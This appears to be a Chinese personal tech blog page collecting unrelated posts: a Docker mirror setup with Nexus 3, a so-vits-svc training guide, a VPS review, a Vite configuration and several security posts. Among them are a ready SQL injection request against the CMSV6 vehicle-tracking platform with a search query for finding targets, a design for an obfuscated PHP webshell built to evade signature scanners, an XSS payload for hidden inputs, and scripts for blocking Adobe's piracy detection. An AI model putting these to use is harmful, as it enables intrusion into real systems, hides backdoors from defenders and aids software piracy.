使用 Nexus 3 搭建 Docker 镜像源

由于众所周知的原因,Docker Hub 在中国大陆被禁止了。
本文搭建了一个公共 Docker Hub 镜像源。如果实在懒得自建的话,文末我会附上自己的镜像源供公开使用,但请不要滥用

安装 Nexus

找一个目录,把 docker-compose.yml 丢进去。
下文使用 /opt/nexus 代替本目录。

1
2
3
mkdir -p /opt/nexus
mkdir -p /opt/nexus/nexus-data
vim /opt/nexus/docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
version: "3.8"
services:
nexus:
image: sonatype/nexus3
container_name: nexus
restart: always
environment:
INSTALL4J_ADD_VM_PARAMS: -Xms4G -Xmx8G -XX:MaxDirectMemorySize=4G #视实际情况调整
ports:
- 8081:8081
- 8082:8082
volumes:
- /opt/nexus/nexus-data:/nexus-data
1
docker compose up -d

等待几分钟后,获取初始密码。

1
docker exec nexus cat /nexus-data/admin.password

为 Docker Hub 添加 Docker Proxy Repository

登录进去后,默认要求你修改密码。
完成后来到 Administration-Repository-Repositories 页面。

创建代理仓库

新建一个仓库,选择 docker (proxy)
在 Name 这里填入当前仓库的命名,例如 docker-proxy-dockerhub
Proxy - Remote storage 这里,配置 Docker Hub 代理时填入 https://registry-1.docker.io,配置 K8s 仓库时填入 https://k8s.gcr.io,配置 quay.io 仓库时填入 https://quay.io
Proxy - Docker Index 这里,配置 Docker Hub 代理时选择 Use Docker Hub,配置其他仓库代理时选择 Use proxy registry(specified above)
去掉 Proxy - Auto blocking enabled 这里的对勾。
去掉 Negative Cache - Not found cache enabled 这里的对勾。
可选只创建第一个重复操作,创建完成 3 个仓库:docker-proxy-dockerhubdocker-proxy-k8sgcrdocker-proxy-quayio

创建聚合仓库

[Repository] - [Repositories] 中创建新仓库,类型为 docker (group)
Name 这里填入当前仓库的命名,例如 docker-proxy-group
Repository Connectors 这里,勾选 HTTP 并填入一个未被占用的端口,必须与创建容器时映射的端口号一致。这里我使用 8002。
Group - Member repositorles 这里,将需要整合的仓库添加到右边,并按先后顺序排好。

配置 Docker 认证

Security - Realms 选项中,将 Docker Bearer Token Realm 添加到右边,保存即可。

配置 HTTPS

略,有些时候饭不能喂到嘴里,否则就没味道了。

我的公开镜像

镜像源:https://hub.20220303.xyz/禁止滥用!禁止滥用!禁止滥用!

解决 Adobe 2024 的盗版检测

未使用翻墙工具

防火墙屏蔽

直接用脚本批量创建规则屏蔽联网即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Echo Off
SetLocal

echo:
echo ****** 禁止文件夹联网 ******
echo:

set /p folder=请输入文件夹(退出请直接关闭窗口):
If Not Exist "%folder%\" Exit/B
If /I "%CD%" NEq "%folder%" PushD %folder%
Set "Cmnd=netsh advfirewall firewall add rule action=block"
echo:
For /R %%a In (*.exe) Do (For %%b In (in out) Do (
echo 创建禁止 %%b 规则【%%a
%Cmnd% name="Adobe-Blocker: %%a" dir=%%b program="%%a"))

echo:
echo 搞定了,%folder% 中所有 exe 文件的禁止入站、出站规则都已成功创建!
echo ----------------------------
echo:

Hosts

不建议使用此方法,Adobe 会定期更换域名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
127.0.0.1 dxyeyf6ecy.adobe.io
127.0.0.1 1hzopx6nz7.adobe.io
127.0.0.1 ic.adobe.io
127.0.0.1 p13n.adobe.io
127.0.0.1 p13n-mr.adobe.io
127.0.0.1 cai-identity.adobe.io
127.0.0.1 dyzt55url8.adobe.io
127.0.0.1 gw8gfjbsO5.adobe.io
127.0.0.1 2ftem87osk.adobe.io
127.0.0.1 phef2h2csf.adobe.io
127.0.0.1 7sj9n87sls.adobe.io
127.0.0.1 b5kbg2ggog.adobe.io
127.0.0.1 p7uxzbht8h.adobe.io
127.0.0.1 guzg78logz.adobe.io
127.0.0.1 crs.cr.adobe.com
127.0.0.1 photos.adobe.io
127.0.0.1 lcs-cops.adobe.io
127.0.0.1 cc-cdn.adobe.com
127.0.0.1 cc-api-data.adobe.io
127.0.0.1 cai-splunk-proxy.adobe.io

使用了翻墙软件

自定义路由规则屏蔽 adobe.io 域名即可。

so-vits 4.1 Windows 简单部署教程

系统环境安装

所需硬件列表:

  • nVidia 显卡一张 本篇使用 Tesla P4
  • Windows 系统
  • 脑子

首先前往 Python Release Page 下载 Python。官方建议版本为 Python 3.8.9,但本篇教程使用的是 Python 3.10.11 无伤大雅。
其次安装显卡驱动,如果你和我一样使用的是计算卡的话,前往 nVidia datacenter driver 下载驱动程序。一般来说如果你不需要打游戏直接安装这页面里的即可,如果需要图形计算可以到文末下载 GRID 驱动(只在本人的 P4 上测试过)。
安装驱动时不需要安装 RTX Desktop Manager
安装完驱动后前往 CUDA Archive 安装 CUDA。版本根据你的驱动版本标注的选择即可。
全部安装完后,打开 cmd。输入 nvidia-sminvcc -V 检查安装状态。

获取源码

找到一个有足够空间的盘。

1
2
3
git clone https://github.com/svc-develop-team/so-vits-svc
cd so-vits-svc
pip install -r requirements.txt

准备模型

声音编码器

根据你选择声音编码器下载文件,详情可见项目自述文件。
如果你是小白,请选择 vec768l12 编码器(跟着我下面的步骤走即可)。
下载 checkpoint_best_legacy_500.pt 放在 pretrain 目录下。

底模

可在 Sucial 的 HuggingFace 仓库获取底模。
预训练底模文件: G_0.pth D_0.pth 放在 logs/44k 目录下。
扩散模型预训练底模文件: model_0.pt 放在 logs/44k/diffusion 目录下。

RMVPE f0 预测器(建议使用)

下载 rmvpe.zip 解压,并将其中的 model.pt 文件改名为 rmvpe.pt 并放在 pretrain 目录下。

数据集准备

仅需要以以下文件结构将数据集放入 dataset_raw 目录即可

1
2
3
4
5
6
7
8
9
dataset_raw
├───speaker0
│ ├───1.wav
│ ├───...
│ └───z.wav
└───speaker1
├───xx2-0xxx2.wav
├───...
└───xxx7-xxx007.wav

文件名取名没有要求,但必须是波形音频文件。

数据预处理

音频切片

将音源切分成 5s-15s 一个的音频文件作为数据集按照上文格式放好。
如果你使用 Whisper-ppg 声音编码器进行训练,所有的切片长度必须小于 30s

重采样

1
python resample.py

划分训练集与验证集

1
python preprocess_flist_config.py --speech_encoder vec768l12

修改配置文件

配置文件位于 configs 目录下。
以下文字摘录自官方自述文件。

config.json:
keep_ckpts:训练时保留最后几个模型,0为保留所有,默认只保留最后3个
all_in_mem:加载所有数据集到内存中,某些平台的硬盘 IO 过于低下、同时内存容量 远大于 数据集体积时可以启用
batch_size:单次训练加载到 GPU 的数据量,调整到低于显存容量的大小即可
vocoder_name:选择一种声码器,默认为nsf-hifigan.

diffusion.yaml:
cache_all_data:加载所有数据集到内存中,某些平台的硬盘 IO 过于低下、同时内存容量 远大于 数据集体积时可以启用
duration:训练时音频切片时长,可根据显存大小调整,注意,该值必须小于训练集内音频的最短时间!
batch_size:单次训练加载到 GPU 的数据量,调整到低于显存容量的大小即可
timesteps: 扩散模型总步数,默认为 1000.
k_step_max: 训练时可仅训练k_step_max步扩散以节约训练时间,注意,该值必须小于timesteps,0 为训练整个扩散模型,注意,如果不训练整个扩散模型将无法使用仅扩散模型推理!

个人建议all_in_memcache_all_data 开启,除非你的内存实在过于小。batch_size 按需修改,我的 8g 显存可用 6

生成 hubert 与 f0

1
python preprocess_hubert_f0.py --f0_predictor rmvpe --num_processes 2

训练

训练主模型

1
python train.py -c configs/config.json -m 44k

开启 tensorboard

1
tensorboard --logdir logs/44k

关于loss

这绝不是衡量模型的唯一标准。tensorboard 网页中的 audio 选项卡里有评估样本,gen 是推理得到的音频,gt 是源音频。

loss/g/total 上升,loss/d/total 收敛:考虑数据集质量问题
loss/g/total 先下降后上升:考虑是否过拟合
loss/g/lf0 应收敛在 1e-4 以下,loss/g/kl 应收敛在 0.5 以下,loss/g/mel 应震荡下降

Ubuntu 下安装 AWVS 所需要的依赖

直接安装会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Acunetix Installer Version: v_240111130, Copyright (c) Acunetix
------------------------------------------------------------

Checking os...
Checking for dependencies...
- dependency libXfixes.so.3 not found on the system
- dependency libgbm.so.1 not found on the system
- dependency libatk-bridge-2.0.so.0 not found on the system
- dependency libpango-1.0.so.0 not found on the system
- dependency libxkbcommon.so.0 not found on the system
- dependency libXcomposite.so.1 not found on the system
- dependency libcups.so.2 not found on the system
- dependency libatspi.so.0 not found on the system
- dependency libXdamage.so.1 not found on the system
- dependency libcairo.so.2 not found on the system
- dependency libXrandr.so.2 not found on the system
- dependency libatk-1.0.so.0 not found on the system
Some dependencies are not found on the system. Aborting installation.
Aborting installation

需要安装依赖

1
apt install libpango-1.0-0 libxi6 libgtk-3-0 libx11-xcb1 libxss1 libgbm-dev

【漏洞复现】通天星 CMSV6 车载定位监控平台 SQL 注入漏洞

漏洞情报来源于互联网收集整理,请勿利用文章内的相关技术从事非法测试。由于传播、利用本文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。本文仅供学习用途使用。

漏洞信息

fofa: body="/808gps/"
exp:

1
2
3
4
5
6
7
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: 114.5.1.4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8
Accept-Encoding: gzip, deflate
Connection: close

发送数据包执行 SQL 语句,延时 5 秒。

Vite 不怎么优雅但能用的多页面方式

在根目录下创建多页面入口 xxx.html:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE HTML>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>title</title>
</head>
<body style="margin: 0;">
<div id="root"></div>
<script type="module" src="/src/pages/xxx/main.jsx"></script>
</body>
</html>

vite.config.js 中配置解析(需要安装 vite-plugin-html)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
import { createHtmlPlugin } from 'vite-plugin-html'
import { resolve } from 'path'

// https://vitejs.dev/config/
export default defineConfig({
plugins: [
react(),
createHtmlPlugin({
minify: true,
pages: [{
entry: 'src/pages//login/main.jsx',
template: 'login.html',
filename: 'login.html'
}, {
entry: 'src/pages//panel/main.jsx',
template: 'panel.html',
filename: 'panel.html'
}, {
entry: 'src/pages//index/main.jsx',
template: 'index.html',
filename: 'index.html'
},
]
})
],
root: '.',
build: {
rollupOptions: {
input: {
index: 'index.html',
login: 'login.html',
panel: 'panel.html',
},
output: {
chunkFileNames: 'static/js/[name]-[hash].js',
entryFileNames: 'static/js/[name]-[hash].js',
assetFileNames: 'static/[ext]/[name]-[hash].[ext]',
}
},
}
})

一个恶臭的Webshell

项目地址:https://github.com/KawaiiSh1zuku/PHP114514Shell
为什么删了?因为我发现我 shell 里的密码不太好泄露

分析

php 中有一个小小的特性:利用 $$abc 对以 $abc 的值为名字的变量进行赋值,可以以此污染变量。

1
foreach($_POST as $key => $value) $$key = $value;

这段语句就会将 POST 的所有参数设置为变量。
以此为基础可以写出简单的分支对抗语句

1
2
3
4
5
6
7
8
9
10
11
12
foreach($_POST as $key => $value) $$key = $value;
if ($sqlcheck) {
$checker = new sql_security(); // 注意这个类名
if(!$checker -> check_sql($sql)) {
die("杂鱼~杂鱼");
} else {
die("SQL is safe");
}
} else {
$checker = new sql_checker(); // 注意这个类名 和上面是不是不太一样
$checker -> __init__($sql, $sha);
}

然后,可以利用 PHP 子类函数覆盖的特性,构造两个类。一个是正常代码一个是恶意代码。
sql_checker 类继承了 sql_security 类,拥有其中的成员函数,在这里构造恶意代码进行执行。
接下来论证了一段恶臭数字

1
2
3
private function randomInt(){
//此处随意论证数字,只要你能写函数把数字解密出来就ok
}

别以为这是真的 random 嗷,这是用来对付某些只有字符串特征的引擎的。
以生成的数字解密出 system 函数就可以调用了。

Blend Hosting VPS 测&amp;评:搞钱必备

商家简介

Blend Hosting 是一家成立于 2005 年的马来西亚托管服务商。
在国内互联网上还算是一家比较没有名气的云服务商吧!
官方网站:https://www.blendhosting.com/
Blender Hosting 官方网站

定价计划

KVM 虚拟,SSD 硬盘。100Mbps 带宽但无限流量。

CPU 内存 硬盘 价格 购买
1 核心 1GB 20GB 5.59$/Mo 地址
2 核心 2GB 40GB 12.59$/Mo 地址
3 核心 3GB 60GB 19.59$/Mo 地址
4 核心 4GB 80GB 26.59$/Mo 地址
5 核心 5GB 100GB 33.59$/Mo 地址
6 核心 6GB 120GB 40.59$/Mo 地址
7 核心 7GB 140GB 47.59$/Mo 地址
8 核心 8GB 160GB 54.59$/Mo 地址
还有更多更高配置,就不一一列举了。所有配置可在这个页面找到。

博主向 Blend Hosting 申请了一台 VPS 用于测试。
基础信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CPU 型号          : QEMU Virtual CPU version 2.5+
CPU 核心数 : 1
CPU 频率 : 2599.998 MHz
CPU 缓存 : L1: 64.00 KB / L2: 4.00 MB / L3: 16.00 MB
硬盘空间 : 2.15 GiB / 18.64 GiB
启动盘路径 : /dev/sda1
内存 : 148.01 MiB / 981.24 MiB
Swap : 268 KiB / 1023.00 MiB
系统在线时间 : 1 days, 1 hour 24 min
负载 : 0.59, 0.38, 0.16
系统 : Ubuntu 20.04 LTS (x86_64)
AES-NI指令集 : ❌ Disabled
VM-x/AMD-V支持 : ❌ Disabled
架构 : x86_64 (64 Bit)
内核 : 5.4.0-29-generic
TCP加速方式 : cubic
虚拟化架构 : KVM
NAT类型 : 开放型
IPV4 ASN : AS55720 Gigabit Hosting Sdn Bhd
IPV4 位置 : Kuala Lumpur / Kuala Lumpur / MY

CPU 跑分:
@> GB5 跑分
单核测试分数:345
多核测试分数:326

FIO 测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
fio Disk Speed Tests (Mixed R/W 50/50) (Partition /dev/sda1):
---------------------------------
Block Size | 4k (IOPS) | 64k (IOPS)
------ | --- ---- | ---- ----
Read | 990.00 KB/s (247) | 13.47 MB/s (210)
Write | 1.02 MB/s (255) | 14.12 MB/s (220)
Total | 2.01 MB/s (502) | 27.60 MB/s (430)
| |
Block Size | 512k (IOPS) | 1m (IOPS)
------ | --- ---- | ---- ----
Read | 34.86 MB/s (68) | 44.18 MB/s (43)
Write | 37.05 MB/s (72) | 47.52 MB/s (46)
Total | 71.91 MB/s (140) | 91.71 MB/s (89)

内存检测:

1
2
3
4
5
6
单线程读测试: 12610.66 MB/s
单线程写测试: 9575.81 MB/s
内存 io 速度: 14 GB/s
未使用 SWAP 超售,内存io速度正常
未使用气球驱动 Balloon 超售,不存在 virtio_balloon 模块
未使用 KSM 超售,Kernel Samepage Merging 状态正常,

流媒体检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Dazn:					Yes (Region: MY)
HotStar: Yes (Region: MY)
Disney+: Available For [Disney+ MY] Soon
Netflix: Yes (Region: MY)
YouTube Premium: Yes
Amazon Prime Video: Yes (Region: MY)
TVBAnywhere+: Yes
iQyi Oversea Region: MY
Viu.com: Yes (Region: MY)
YouTube CDN: Kuala Lumpur
Netflix Preferred CDN: Singapore
Spotify Registration: Yes
Steam Currency: MYR
ChatGPT: Yes
Bing Region: MY

三网回程路由:

1
2
3
4
5
6
7
8
9
10
11
12
北京电信 219.141.136.12  电信163 [普通线路]
北京联通 202.106.50.1 联通4837[普通线路]
北京移动 221.179.155.161 移动CMI [普通线路]
上海电信 202.96.209.133 电信163 [普通线路]
上海联通 210.22.97.1 联通4837[普通线路]
上海移动 211.136.112.200 移动CMI [普通线路]
广州电信 58.60.188.222 电信163 [普通线路]
广州联通 210.21.196.6 联通4837[普通线路]
广州移动 120.196.165.24 移动CMI [普通线路]
成都电信 61.139.2.69 电信163 [普通线路]
成都联通 119.6.6.6 联通4837[普通线路]
成都移动 211.137.96.205 移动CMI [普通线路]

博主收到的这台 VPS 是有一定限制的测试机(CPU 和硬盘都有限制),所以没有跑出非常好的成绩。
简单的点评一下吧!
机器到国内和亚洲各地的延迟都是比较客观的,适合做购物站等站点。如果需要在马来西亚本土开展业务选择Blend Hosting也是一个不错的选择。
我手上这台机器的 CPU 是比较老的,所以跑出来的分不是很好看。但是搭建一个站点还是可以胜任的,博主也用开源系统acgfaka测试了一下,一核心的机器承载上百个并发请求还是没有问题的。
机器的内存性能非常优秀,和市面上绝大多数 VPS 都拉开很大差距了。由于官网没有表明信息,博主猜测一下可能是 DDR4 甚至更高?用来搭建 Redis 或者 Elastic Search 后端服务器是很好的选择。
流媒体是这台机器的一大亮点了。Multination 全部解锁的机器博主也是第一次见!
总而言之,这个价格对于个人用户来说还是比较高的,但是对于有发展东南亚业务需求老板来说,是一个不错的选择。

当 XSS 遇到 hidden input 标签?

适用情况

1
<input type="hidden" name="returnurl" value="[USER INJECT]" />

那么访问http://victim/?value=xxx"οnclick="alert(document.domain)由于标签被隐藏是无法触发的。
所以需要用到accessKey这个小东西

1
<input type="hidden" name="returnurl" value="xxx" accesskey="X" onclick="alert(document.domain)" />

XSS 触发方法为:
Firefox下:shift+alt+X (测试成功)
Chrome:alt+X (最新版 Chrome 未测试成功)

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×